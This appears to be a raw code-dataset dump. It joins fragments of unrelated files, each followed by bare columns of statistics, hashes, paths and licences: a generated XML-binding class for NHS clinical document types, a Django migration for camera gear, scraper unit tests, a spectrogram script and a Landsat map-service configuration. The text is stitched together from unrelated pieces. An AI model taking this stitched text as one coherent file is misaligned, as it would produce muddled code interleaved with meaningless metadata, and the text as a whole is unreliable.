pretty_print=True): if pretty_print: eol_ = '\n' else: eol_ = '' for realmCode_ in self.realmCode: realmCode_.export(outfile, level, namespace_, name_='realmCode', pretty_print=pretty_print) if self.typeId is not None: self.typeId.export(outfile, level, namespace_, name_='typeId', pretty_print=pretty_print) for templateId_ in self.templateId: templateId_.export(outfile, level, namespace_, name_='templateId', pretty_print=pretty_print) if self.id is not None: self.id.export(outfile, level, namespace_, name_='id', pretty_print=pretty_print) if self.code is not None: self.code.export(outfile, level, namespace_, name_='code', pretty_print=pretty_print) if self.value is not None: self.value.export(outfile, level, namespace_, name_='value', pretty_print=pretty_print) if self.component is not None: self.component.export(outfile, level, namespace_, name_='component', pretty_print=pretty_print) def build(self, node): already_processed = set() self.buildAttributes(node, node.attrib, already_processed) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) return self def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('classCode', node) if value is not None and 'classCode' not in already_processed: already_processed.add('classCode') self.classCode = value self.validate_cs(self.classCode) # validate type cs value = find_attr_value_('moodCode', node) if value is not None and 'moodCode' not in already_processed: already_processed.add('moodCode') self.moodCode = value self.validate_cs(self.moodCode) # validate type cs value = find_attr_value_('nullFlavor', node) if value is not None and 'nullFlavor' not in already_processed: already_processed.add('nullFlavor') self.nullFlavor = value self.validate_NullFlavor(self.nullFlavor) # validate type NullFlavor value = find_attr_value_('updateMode', node) if value is not None and 'updateMode' not in already_processed: already_processed.add('updateMode') self.updateMode = value self.validate_cs_UpdateMode(self.updateMode) # validate type cs_UpdateMode def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'realmCode': obj_ = CS.factory() obj_.build(child_) self.realmCode.append(obj_) obj_.original_tagname_ = 'realmCode' elif nodeName_ == 'typeId': obj_ = II.factory() obj_.build(child_) self.typeId = obj_ obj_.original_tagname_ = 'typeId' elif nodeName_ == 'templateId': obj_ = II.factory() obj_.build(child_) self.templateId.append(obj_) obj_.original_tagname_ = 'templateId' elif nodeName_ == 'id': obj_ = II_NHS_IdentifierType2.factory() obj_.build(child_) self.id = obj_ obj_.original_tagname_ = 'id' elif nodeName_ == 'code': obj_ = codeType1.factory() obj_.build(child_) self.code = obj_ obj_.original_tagname_ = 'code' elif nodeName_ == 'value': obj_ = valueType2.factory() obj_.build(child_) self.value = obj_ obj_.original_tagname_ = 'value' elif nodeName_ == 'component': obj_ = Component.factory() obj_.build(child_) self.component = obj_ obj_.original_tagname_ = 'component'
52.779257
240
0.656334
14,453
130,787
5.679236
0.01107
0.035111
0.028618
0.032589
0.982152
0.980544
0.978838
0.969543
0.969543
0.969543
0
0.009294
0.249734
130,787
2,477
241
52.800565
0.82721
0.01822
0
0.93595
1
0
0.0887
0.030998
0
0
0
0
0
1
0.18719
false
0.004959
0.016116
0.05
0.260744
0.069008
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
065a97b385e48173e154a66322c08a00297e5363
6,543
py
Python
controllers/gear/migrations/0007_auto_20210427_0504.py
rhaamo/camgear
38200cc616120ac381892bfc1996a1e97dbbfc83
[ "MIT" ]
null
null
null
controllers/gear/migrations/0007_auto_20210427_0504.py
rhaamo/camgear
38200cc616120ac381892bfc1996a1e97dbbfc83
[ "MIT" ]
37
2019-01-04T04:30:33.000Z
2022-03-11T23:36:05.000Z
controllers/gear/migrations/0007_auto_20210427_0504.py
rhaamo/camgear
38200cc616120ac381892bfc1996a1e97dbbfc83
[ "MIT" ]
null
null
null
# Generated by Django 3.1.8 on 2021-04-27 05:04 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ("gear", "0006_auto_20210426_2020"), ] operations = [ migrations.AddField( model_name="accessory", name="user", field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL ), ), migrations.AddField( model_name="camera", name="user", field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL ), ), migrations.AddField( model_name="lens", name="user", field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL ), ), migrations.AlterField( model_name="accessory", name="serial", field=models.CharField(blank=True, max_length=255, verbose_name="Serial (private)"), ), migrations.AlterField( model_name="camera", name="auto_expo", field=models.BooleanField(default=True, verbose_name="Auto exposure"), ), migrations.AlterField( model_name="camera", name="blades", field=models.BooleanField(default=True, verbose_name="Using blades"), ), migrations.AlterField( model_name="camera", name="filter_diameter", field=models.IntegerField(default=0, verbose_name="Filter Dia. (mm)"), ), migrations.AlterField( model_name="camera", name="focale_max", field=models.IntegerField(default=0, verbose_name="Focale max (mm)"), ), migrations.AlterField( model_name="camera", name="focale_min", field=models.IntegerField(default=0, verbose_name="Focale min (mm)"), ), migrations.AlterField( model_name="camera", name="focus", field=models.IntegerField( choices=[(0, "Unknown"), (5, "Manual"), (10, "Automatic"), (15, "Fixed"), (20, "Auto/Man")], default=0, verbose_name="Focus mode", ), ), migrations.AlterField( model_name="camera", name="focus_length", field=models.IntegerField(default=0, verbose_name="Min focus (cm)"), ), migrations.AlterField( model_name="camera", name="iso_max", field=models.IntegerField(default=0, verbose_name="ISO max"), ), migrations.AlterField( model_name="camera", name="iso_min", field=models.IntegerField(default=0, verbose_name="ISO min"), ), migrations.AlterField( model_name="camera", name="length", field=models.IntegerField(default=0, verbose_name="Length (cm)"), ), migrations.AlterField( model_name="camera", name="macro", field=models.BooleanField(default=True, verbose_name="Macro capable"), ), migrations.AlterField( model_name="camera", name="macro_length", field=models.IntegerField(default=0, verbose_name="Min macro (cm)"), ), migrations.AlterField( model_name="camera", name="serial", field=models.CharField(blank=True, max_length=255, verbose_name="Serial (private)"), ), migrations.AlterField( model_name="camera", name="weight", field=models.IntegerField(default=0, verbose_name="Weight (g)"), ), migrations.AlterField( model_name="lens", name="blades", field=models.BooleanField(default=True, verbose_name="Using blades"), ), migrations.AlterField( model_name="lens", name="filter_diameter", field=models.IntegerField(default=0, verbose_name="Filter Dia. (mm)"), ), migrations.AlterField( model_name="lens", name="focale_max", field=models.IntegerField(default=0, verbose_name="Focale max (mm)"), ), migrations.AlterField( model_name="lens", name="focale_min", field=models.IntegerField(default=0, verbose_name="Focale min (mm)"), ), migrations.AlterField( model_name="lens", name="focus", field=models.IntegerField( choices=[(0, "Unknown"), (5, "Manual"), (10, "Automatic"), (15, "Fixed"), (20, "Auto/Man")], default=0, verbose_name="Focus mode", ), ), migrations.AlterField( model_name="lens", name="focus_length", field=models.IntegerField(default=0, verbose_name="Min focus (cm)"), ), migrations.AlterField( model_name="lens", name="length", field=models.IntegerField(default=0, verbose_name="Length (cm)"), ), migrations.AlterField( model_name="lens", name="macro", field=models.BooleanField(default=True, verbose_name="Macro capable"), ), migrations.AlterField( model_name="lens", name="macro_length", field=models.IntegerField(default=0, verbose_name="Min macro (cm)"), ), migrations.AlterField( model_name="lens", name="mount", field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to="gear.mount" ), ), migrations.AlterField( model_name="lens", name="serial", field=models.CharField(blank=True, max_length=255, verbose_name="Serial (private)"), ), migrations.AlterField( model_name="lens", name="weight", field=models.IntegerField(default=0, verbose_name="Weight (g)"), ), ]
35.754098
112
0.548067
624
6,543
5.599359
0.139423
0.077275
0.193188
0.224098
0.894963
0.894963
0.852032
0.806812
0.773612
0.773612
0
0.016731
0.32401
6,543
182
113
35.950549
0.773231
0.006878
0
0.897727
1
0
0.128387
0.003541
0
0
0
0
0
1
0
false
0
0.017045
0
0.034091
0
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
10
06869532736221d1de86f827aed6860cddc22c2e
192
py
Python
TestBox.py
StefanKDS/Birds
bb0c8e8fd9b1a8658b4f7073b1d18fb7a2c5bdb2
[ "MIT" ]
null
null
null
TestBox.py
StefanKDS/Birds
bb0c8e8fd9b1a8658b4f7073b1d18fb7a2c5bdb2
[ "MIT" ]
null
null
null
TestBox.py
StefanKDS/Birds
bb0c8e8fd9b1a8658b4f7073b1d18fb7a2c5bdb2
[ "MIT" ]
null
null
null
# SHOW SPECTOGRAM from DatasetEngine import show_spectogram_for_mp3 show_spectogram_for_mp3('Data/Gaviidae/preTest/XC681331-Great_Northern_Diver_Skaw_Whalsay_SG_Brambling.mp3') # SHOW HISTORY
38.4
108
0.885417
27
192
5.851852
0.703704
0.265823
0.21519
0.253165
0
0
0
0
0
0
0
0.049724
0.057292
192
5
109
38.4
0.823204
0.145833
0
0
0
0
0.5
0.5
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
1
null
0
0
0
0
0
0
1
0
1
0
0
0
0
8
06af66b922e452ca34fff656f3df21c1e90d8469
4,749
py
Python
tests/unit/html/test_player_box_score_row.py
tttgm/basketball_reference_web_scraper
2dbd9d7bacbcfee17f08bcf8629bd7d50893761d
[ "MIT" ]
325
2015-10-27T03:15:49.000Z
2022-03-16T06:49:12.000Z
tests/unit/html/test_player_box_score_row.py
tttgm/basketball_reference_web_scraper
2dbd9d7bacbcfee17f08bcf8629bd7d50893761d
[ "MIT" ]
173
2018-10-16T04:11:05.000Z
2022-03-29T17:52:08.000Z
tests/unit/html/test_player_box_score_row.py
tttgm/basketball_reference_web_scraper
2dbd9d7bacbcfee17f08bcf8629bd7d50893761d
[ "MIT" ]
97
2016-04-09T19:11:28.000Z
2022-03-21T09:57:50.000Z
from unittest import TestCase from unittest.mock import MagicMock from basketball_reference_web_scraper.html import PlayerBoxScoreRow class TestPlayerBoxScoreRow(TestCase): def setUp(self): self.html = MagicMock() def test_not_equal_when_row_is_compared_against_non_row(self): self.assertNotEqual(1, PlayerBoxScoreRow(html=MagicMock())) def test_not_equal_when_both_rows_but_different_html(self): self.assertNotEqual( PlayerBoxScoreRow(html=MagicMock(name="first html")), PlayerBoxScoreRow(html=MagicMock(name="second html")), ) def test_equal_when_both_rows_and_same_html(self): html = MagicMock(name="shared html") self.assertEqual( PlayerBoxScoreRow(html=html), PlayerBoxScoreRow(html=html), ) def test_team_abbreviation_when_cells_exist(self): cell = MagicMock(text_content=MagicMock(return_value="some team abbreviation")) self.html.xpath = MagicMock(return_value=[cell]) self.assertEqual(PlayerBoxScoreRow(html=self.html).team_abbreviation, "some team abbreviation") self.html.xpath.assert_called_once_with('td[@data-stat="team_id"]') def test_team_abbreviation_is_empty_string_when_cells_do_not_exist(self): self.html.xpath = MagicMock(return_value=[]) self.assertEqual(PlayerBoxScoreRow(html=self.html).team_abbreviation, '') self.html.xpath.assert_called_once_with('td[@data-stat="team_id"]') def test_location_abbreviation_when_cells_exist(self): cell = MagicMock(text_content=MagicMock(return_value="some location abbreviation")) self.html.xpath = MagicMock(return_value=[cell]) self.assertEqual(PlayerBoxScoreRow(html=self.html).location_abbreviation, "some location abbreviation") self.html.xpath.assert_called_once_with('td[@data-stat="game_location"]') def test_location_abbreviation_is_empty_string_when_cells_exist(self): self.html.xpath = MagicMock(return_value=[]) self.assertEqual(PlayerBoxScoreRow(html=self.html).location_abbreviation, '') self.html.xpath.assert_called_once_with('td[@data-stat="game_location"]') def test_opponent_abbreviation_when_cells_exist(self): cell = MagicMock(text_content=MagicMock(return_value="some opponent abbreviation")) self.html.xpath = MagicMock(return_value=[cell]) self.assertEqual(PlayerBoxScoreRow(html=self.html).opponent_abbreviation, "some opponent abbreviation") self.html.xpath.assert_called_once_with('td[@data-stat="opp_id"]') def test_opponent_abbreviation_is_empty_string_when_cells_exist(self): self.html.xpath = MagicMock(return_value=[]) self.assertEqual(PlayerBoxScoreRow(html=self.html).opponent_abbreviation, '') self.html.xpath.assert_called_once_with('td[@data-stat="opp_id"]') def test_outcome_when_cells_exist(self): cell = MagicMock(text_content=MagicMock(return_value="some outcome")) self.html.xpath = MagicMock(return_value=[cell]) self.assertEqual(PlayerBoxScoreRow(html=self.html).outcome, "some outcome") self.html.xpath.assert_called_once_with('td[@data-stat="game_result"]') def test_outcome_is_empty_string_when_cells_exist(self): self.html.xpath = MagicMock(return_value=[]) self.assertEqual(PlayerBoxScoreRow(html=self.html).outcome, '') self.html.xpath.assert_called_once_with('td[@data-stat="game_result"]') def test_plus_minus_when_cells_exist(self): cell = MagicMock(text_content=MagicMock(return_value="some plus minus")) self.html.xpath = MagicMock(return_value=[cell]) self.assertEqual(PlayerBoxScoreRow(html=self.html).plus_minus, "some plus minus") self.html.xpath.assert_called_once_with('td[@data-stat="plus_minus"]') def test_plus_minus_is_empty_string_when_cells_exist(self): self.html.xpath = MagicMock(return_value=[]) self.assertEqual(PlayerBoxScoreRow(html=self.html).plus_minus, '') self.html.xpath.assert_called_once_with('td[@data-stat="plus_minus"]') def test_game_score_when_cells_exist(self): cell = MagicMock(text_content=MagicMock(return_value="some game score")) self.html.xpath = MagicMock(return_value=[cell]) self.assertEqual(PlayerBoxScoreRow(html=self.html).game_score, "some game score") self.html.xpath.assert_called_once_with('td[@data-stat="game_score"]') def test_game_score_is_empty_string_when_cells_exist(self): self.html.xpath = MagicMock(return_value=[]) self.assertEqual(PlayerBoxScoreRow(html=self.html).game_score, '') self.html.xpath.assert_called_once_with('td[@data-stat="game_score"]')
51.064516
111
0.735944
598
4,749
5.531773
0.117057
0.091898
0.094317
0.141475
0.816808
0.813482
0.785671
0.764208
0.741838
0.741838
0
0.000247
0.147399
4,749
92
112
51.619565
0.816745
0
0
0.356164
0
0
0.122578
0.066976
0
0
0
0
0.369863
1
0.219178
false
0
0.041096
0
0.273973
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
7
23057b211274d5932fb2d7673656506f4e51a83d
18,423
py
Python
prod/services/wms/ows_refactored/baseline_satellite_data/landsat/ows_c3_cfg.py
nf-s/dea-config
e0fe5fde8a99ad29472c5d14531ecc9208578040
[ "Apache-2.0" ]
14
2018-08-20T00:31:50.000Z
2022-02-04T08:13:06.000Z
prod/services/wms/ows_refactored/baseline_satellite_data/landsat/ows_c3_cfg.py
nf-s/dea-config
e0fe5fde8a99ad29472c5d14531ecc9208578040
[ "Apache-2.0" ]
145
2018-06-04T05:06:14.000Z
2022-02-22T23:02:00.000Z
prod/services/wms/ows_refactored/baseline_satellite_data/landsat/ows_c3_cfg.py
nf-s/dea-config
e0fe5fde8a99ad29472c5d14531ecc9208578040
[ "Apache-2.0" ]
35
2018-06-04T05:04:15.000Z
2022-01-25T07:48:07.000Z
from ows_refactored.baseline_satellite_data.landsat.style_c3_cfg import ( styles_c3_ls_7, styles_c3_ls_8, styles_c3_ls_common) from ows_refactored.ows_reslim_cfg import reslim_wms_min_zoom_15 # bands definition bands_c3_ls_common = { "nbart_blue": ["nbart_blue"], "nbart_green": ["nbart_green"], "nbart_red": ["nbart_red"], "nbart_nir": ["nbart_nir", "nbart_near_infrared"], "nbart_swir_1": ["nbart_swir_1", "nbart_shortwave_infrared_1"], "nbart_swir_2": ["nbart_swir_2", "nbart_shortwave_infrared_2"], "oa_fmask": ["oa_fmask", "fmask"], } bands_c3_ls_7 = bands_c3_ls_common.copy() bands_c3_ls_7.update( { "nbart_panchromatic": ["nbart_panchromatic"], } ) bands_c3_ls_8 = bands_c3_ls_7.copy() bands_c3_ls_8.update( { "nbart_coastal_aerosol": ["coastal_aerosol", "nbart_coastal_aerosol"], } ) layers = { "title": "DEA Surface Reflectance (Landsat)", "abstract": """Collection 3 represents a consistent processing and upgrade to the Geoscience Australia's Landsat baseline and derivative products. For service status information, see https://status.dea.ga.gov.au""", "layers": [ { "title": "DEA Surface Reflectance (Landsat 8 OLI-TIRS)", "abstract": """Geoscience Australia Landsat 8 OLI-TIRS Analysis Ready Data Collection 3 This product takes Landsat 8 imagery captured over the Australian continent and corrects for inconsistencies across land and coastal fringes. The result is accurate and standardised surface reflectance data, which is instrumental in identifying and quantifying environmental change. The imagery is captured using the Operational Land Imager (OLI) and Thermal Infra-Red Scanner (TIRS) sensors aboard Landsat 8. This product is a single, cohesive Analysis Ready Data (ARD) package, which allows you to analyse surface reflectance data as is, without the need to apply additional corrections. It contains three sub-products that provide corrections or attribution information: DEA Surface Reflectance NBAR (Landsat 8 OLI-TIRS) https://cmi.ga.gov.au/data-products/dea/402/dea-surface-reflectance-nbar-landsat-8-oli-tirs DEA Surface Reflectance NBART (Landsat 8 OLI-TIRS) https://cmi.ga.gov.au/data-products/dea/400/dea-surface-reflectance-nbart-landsat-8-oli-tirs DEA Surface Reflectance OA (Landsat 8 OLI-TIRS) https://cmi.ga.gov.au/data-products/dea/404/dea-surface-reflectance-oa-landsat-8-oli-tirs The resolution is a 30 m grid based on the USGS Landsat Collection 1 archive. https://cmi.ga.gov.au/data-products/dea/365/dea-surface-reflectance-landsat-8-oli-tirs For service status information, see https://status.dea.ga.gov.au""", # The WMS name for the layer "name": "ga_ls8c_ard_3", # The Datacube name for the associated data product "product_name": "ga_ls8c_ard_3", "bands": bands_c3_ls_8, "resource_limits": reslim_wms_min_zoom_15, "native_crs": "EPSG:3577", "native_resolution": [25, -25], "image_processing": { "extent_mask_func": "datacube_ows.ogc_utils.mask_by_val", "always_fetch_bands": [], "manual_merge": False, }, "flags": [ # flags is now a list of flag band definitions - NOT a dictionary with identifiers { "band": "oa_fmask", "product": "ga_ls8c_ard_3", "ignore_time": False, "ignore_info_flags": [], }, { "band": "land", "product": "geodata_coast_100k", "ignore_time": True, "ignore_info_flags": [] }, ], "styling": {"default_style": "true_colour", "styles": styles_c3_ls_8}, }, { "title": "DEA Surface Reflectance (Landsat 7 ETM+)", "abstract": """Geoscience Australia Landsat 7 ETM+ Analysis Ready Data Collection 3 This product takes Landsat 7 Enhanced Thematic Mapper Plus (ETM+) imagery captured over the Australian continent and corrects for inconsistencies across land and coastal fringes. The result is accurate and standardised surface reflectance data, which is instrumental in identifying and quantifying environmental change. This product is a single, cohesive Analysis Ready Data (ARD) package, which allows you to analyse surface reflectance data as is, without the need to apply additional corrections. It contains three sub-products that provide corrections or attribution information: DEA Surface Reflectance NBAR (Landsat 7 ETM+) https://cmi.ga.gov.au/data-products/dea/476/dea-surface-reflectance-nbar-landsat-7-etm DEA Surface Reflectance NBART (Landsat 7 ETM+) https://cmi.ga.gov.au/data-products/dea/399/dea-surface-reflectance-nbart-landsat-7-etm DEA Surface Reflectance OA (Landsat 7 ETM+) https://cmi.ga.gov.au/data-products/dea/478/dea-surface-reflectance-oa-landsat-7-etm The resolution is a 30 m grid based on the USGS Landsat Collection 1 archive. https://cmi.ga.gov.au/data-products/dea/475/dea-surface-reflectance-landsat-7-etm For service status information, see https://status.dea.ga.gov.au""", # The WMS name for the layer "name": "ga_ls7e_ard_3", # The Datacube name for the associated data product "product_name": "ga_ls7e_ard_3", "bands": bands_c3_ls_7, "resource_limits": reslim_wms_min_zoom_15, "native_crs": "EPSG:3577", "native_resolution": [25, -25], "image_processing": { "extent_mask_func": "datacube_ows.ogc_utils.mask_by_val", "always_fetch_bands": [], "manual_merge": False, }, "flags": [ # flags is now a list of flag band definitions - NOT a dictionary with identifiers { "band": "oa_fmask", "product": "ga_ls7e_ard_3", "ignore_time": False, "ignore_info_flags": [], }, { "band": "land", "product": "geodata_coast_100k", "ignore_time": True, "ignore_info_flags": [] }, ], "styling": {"default_style": "true_colour", "styles": styles_c3_ls_7}, }, { "title": "DEA Surface Reflectance (Landsat 5 TM)", "abstract": """Geoscience Australia Landsat 5 TM Analysis Ready Data Collection 3 This product takes Landsat 5 Thematic Mapper (TM) imagery captured over the Australian continent and corrects for inconsistencies across land and coastal fringes. The result is accurate and standardised surface reflectance data, which is instrumental in identifying and quantifying environmental change. This product is a single, cohesive Analysis Ready Data (ARD) package, which allows you to analyse surface reflectance data as is, without the need to apply additional corrections. It contains three sub-products that provide corrections or attribution information: DEA Surface Reflectance NBAR (Landsat 5 TM) https://cmi.ga.gov.au/data-products/dea/367/dea-surface-reflectance-nbar-landsat-5-tm DEA Surface Reflectance NBART (Landsat 5 TM) https://cmi.ga.gov.au/data-products/dea/477/dea-surface-reflectance-nbart-landsat-5-tm DEA Surface Reflectance OA (Landsat 5 TM) https://cmi.ga.gov.au/data-products/dea/369/dea-surface-reflectance-oa-landsat-5-tm The resolution is a 30 m grid based on the USGS Landsat Collection 1 archive. https://cmi.ga.gov.au/data-products/dea/358/dea-surface-reflectance-landsat-5-tm For service status information, see https://status.dea.ga.gov.au""", # The WMS name for the layer "name": "ga_ls5t_ard_3", # The Datacube name for the associated data product "product_name": "ga_ls5t_ard_3", "bands": bands_c3_ls_common, "resource_limits": reslim_wms_min_zoom_15, "dynamic": True, "native_crs": "EPSG:3577", "native_resolution": [25, -25], "image_processing": { "extent_mask_func": "datacube_ows.ogc_utils.mask_by_val", "always_fetch_bands": [], "manual_merge": False, }, "flags": [ # flags is now a list of flag band definitions - NOT a dictionary with identifiers { "band": "oa_fmask", "product": "ga_ls5t_ard_3", "ignore_time": False, "ignore_info_flags": [], }, { "band": "land", "product": "geodata_coast_100k", "ignore_time": True, "ignore_info_flags": [] }, ], "styling": {"default_style": "true_colour", "styles": styles_c3_ls_common}, }, { "title": "DEA Surface Reflectance (Landsat 8 OLI-TIRS, Provisional)", "abstract": """Geoscience Australia Landsat 8 OLI-TIRS Analysis Ready Data Provisional Collection 3 This product takes Landsat 8 imagery captured over the Australian continent and corrects for inconsistencies across land and coastal fringes. The result is accurate and standardised surface reflectance data, which is instrumental in identifying and quantifying environmental change. The imagery is captured using the Operational Land Imager (OLI) and Thermal Infra-Red Scanner (TIRS) sensors aboard Landsat 8. This product is a single, cohesive Analysis Ready Data (ARD) package, which allows you to analyse surface reflectance data as is, without the need to apply additional corrections. It contains sub-products that provide corrections or attribution information: DEA Surface Reflectance NBART (Landsat 8 OLI-TIRS) DEA Surface Reflectance OA (Landsat 8 OLI-TIRS) The resolution is a 30 m grid based on the USGS Landsat Collection 1 archive. https://cmi.ga.gov.au/data-products/dea/365/dea-surface-reflectance-landsat-8-oli-tirs For service status information, see https://status.dea.ga.gov.au""", # The WMS name for the layer "name": "ga_ls8c_ard_provisional_3", # The Datacube name for the associated data product "product_name": "ga_ls8c_ard_provisional_3", "bands": bands_c3_ls_8, "resource_limits": reslim_wms_min_zoom_15, "native_crs": "EPSG:3577", "native_resolution": [25, -25], "image_processing": { "extent_mask_func": "datacube_ows.ogc_utils.mask_by_val", "always_fetch_bands": [], "manual_merge": False, }, "flags": [ # flags is now a list of flag band definitions - NOT a dictionary with identifiers { "band": "oa_fmask", "product": "ga_ls8c_ard_provisional_3", "ignore_time": False, "ignore_info_flags": [], }, { "band": "land", "product": "geodata_coast_100k", "ignore_time": True, "ignore_info_flags": [] }, ], "styling": {"default_style": "true_colour", "styles": styles_c3_ls_8}, }, { "title": "DEA Surface Reflectance (Landsat 7 ETM+, Provisional)", "abstract": """Geoscience Australia Landsat 7 ETM+ Analysis Ready Data Provisional Collection 3 This product takes Landsat 7 Enhanced Thematic Mapper Plus (ETM+) imagery captured over the Australian continent and corrects for inconsistencies across land and coastal fringes. The result is accurate and standardised surface reflectance data, which is instrumental in identifying and quantifying environmental change. This product is a single, cohesive Analysis Ready Data (ARD) package, which allows you to analyse surface reflectance data as is, without the need to apply additional corrections. It contains sub-products that provide corrections or attribution information: DEA Surface Reflectance NBART (Landsat 7 ETM+) DEA Surface Reflectance OA (Landsat 7 ETM+) The resolution is a 30 m grid based on the USGS Landsat Collection 1 archive. https://cmi.ga.gov.au/data-products/dea/475/dea-surface-reflectance-landsat-7-etm For service status information, see https://status.dea.ga.gov.au""", # The WMS name for the layer "name": "ga_ls7e_ard_provisional_3", # The Datacube name for the associated data product "product_name": "ga_ls7e_ard_provisional_3", "bands": bands_c3_ls_7, "resource_limits": reslim_wms_min_zoom_15, "native_crs": "EPSG:3577", "native_resolution": [25, -25], "image_processing": { "extent_mask_func": "datacube_ows.ogc_utils.mask_by_val", "always_fetch_bands": [], "manual_merge": False, }, "flags": [ # flags is now a list of flag band definitions - NOT a dictionary with identifiers { "band": "oa_fmask", "product": "ga_ls7e_ard_provisional_3", "ignore_time": False, "ignore_info_flags": [], }, { "band": "land", "product": "geodata_coast_100k", "ignore_time": True, "ignore_info_flags": [] }, ], "styling": {"default_style": "true_colour", "styles": styles_c3_ls_7}, }, { "include": "ows_refactored.baseline_satellite_data.landsat.ows_c3_cfg.combined_provisional_layer", "type": "python", }, ], } combined_layer = { "title": "DEA Surface Reflectance (Landsat)", "name": "ga_ls_ard_3", "abstract": """Geoscience Australia Landsat Analysis Ready Data Collection 3 This product takes Landsat imagery captured over the Australian continent and corrects for inconsistencies across land and coastal fringes. The result is accurate and standardised surface reflectance data, which is instrumental in identifying and quantifying environmental change. This product combines: Landsat 8 imagery https://cmi.ga.gov.au/data-products/dea/365/dea-surface-reflectance-landsat-8-oli-tirs, Landsat 7 imagery https://cmi.ga.gov.au/data-products/dea/475/dea-surface-reflectance-landsat-7-etm and Landsat 5 Imagery https://cmi.ga.gov.au/data-products/dea/358/dea-surface-reflectance-landsat-5-tm For service status information, see https://status.dea.ga.gov.au""", "multi_product": True, "product_names": [ "ga_ls5t_ard_3", "ga_ls7e_ard_3", "ga_ls8c_ard_3", ], "bands": bands_c3_ls_common, "resource_limits": reslim_wms_min_zoom_15, "dynamic": True, "native_crs": "EPSG:3577", "native_resolution": [25, -25], "image_processing": { "extent_mask_func": "datacube_ows.ogc_utils.mask_by_val", "always_fetch_bands": [], "manual_merge": False, }, "flags": [ { "band": "oa_fmask", "products": [ "ga_ls5t_ard_3", "ga_ls7e_ard_3", "ga_ls8c_ard_3", ], "ignore_time": False, "ignore_info_flags": [], }, { "band": "land", "products": [ "geodata_coast_100k", "geodata_coast_100k", "geodata_coast_100k", ], "ignore_time": True, "ignore_info_flags": [] }, ], "styling": {"default_style": "true_colour", "styles": styles_c3_ls_common}, } combined_provisional_layer = { "title": "DEA Surface Reflectance (Landsat, Provisional)", "name": "ga_ls_ard_provisional_3", "abstract": """Geoscience Australia Landsat Analysis Ready Data Provisional Collection 3 This product takes Landsat 7 Enhanced Thematic Mapper Plus (ETM+) and Landsat 8 OLI-TIRS imagery captured over the Australian continent and corrects for inconsistencies across land and coastal fringes. The result is accurate and standardised surface reflectance data, which is instrumental in identifying and quantifying environmental change. This product is a single, cohesive Analysis Ready Data (ARD) package, which allows you to analyse surface reflectance data as is, without the need to apply additional corrections. It contains sub-products that provide corrections or attribution information: DEA Surface Reflectance NBART (Landsat 7 ETM+, Landsat 8 OLI-TIRS) DEA Surface Reflectance OA (Landsat 7 ETM+, Landsat 8 OLI-TIRS) The resolution is a 30 m grid based on the USGS Landsat Collection 1 archive. https://cmi.ga.gov.au/data-products/dea/475/dea-surface-reflectance-landsat-7-etm https://cmi.ga.gov.au/data-products/dea/365/dea-surface-reflectance-landsat-8-oli-tirs For service status information, see https://status.dea.ga.gov.au""", "multi_product": True, "product_names": [ "ga_ls7e_ard_provisional_3", "ga_ls8c_ard_provisional_3", ], "bands": bands_c3_ls_common, "resource_limits": reslim_wms_min_zoom_15, "dynamic": True, "native_crs": "EPSG:3577", "native_resolution": [25, -25], "image_processing": { "extent_mask_func": "datacube_ows.ogc_utils.mask_by_val", "always_fetch_bands": [], "manual_merge": False, }, "flags": [ { "band": "oa_fmask", "products": [ "ga_ls7e_ard_provisional_3", "ga_ls8c_ard_provisional_3", ], "ignore_time": False, "ignore_info_flags": [], }, { "band": "land", "products": [ "geodata_coast_100k", "geodata_coast_100k", ], "ignore_time": True, "ignore_info_flags": [] }, ], "styling": {"default_style": "true_colour", "styles": styles_c3_ls_common}, }
45.601485
342
0.634424
2,266
18,423
4.968226
0.09444
0.087937
0.078344
0.025315
0.923166
0.918458
0.897673
0.877243
0.857879
0.833718
0
0.025277
0.265592
18,423
403
343
45.71464
0.8068
0.04375
0
0.595166
0
0.102719
0.667784
0.039148
0
0
0
0
0
1
0
false
0
0.006042
0
0.006042
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
23080ec4f33daec7ac3886ba1960364442478f1b
25,288
py
Python
tests/cli/test_copy.py
atviriduomenys/spinta
77a10e201f8cdc63143fce7996fd0898acb1ff58
[ "MIT" ]
2
2019-03-14T06:41:14.000Z
2019-03-26T11:48:14.000Z
tests/cli/test_copy.py
sirex/spinta
77a10e201f8cdc63143fce7996fd0898acb1ff58
[ "MIT" ]
44
2019-04-05T15:52:45.000Z
2022-03-30T07:41:33.000Z
tests/cli/test_copy.py
sirex/spinta
77a10e201f8cdc63143fce7996fd0898acb1ff58
[ "MIT" ]
1
2019-04-01T09:54:27.000Z
2019-04-01T09:54:27.000Z
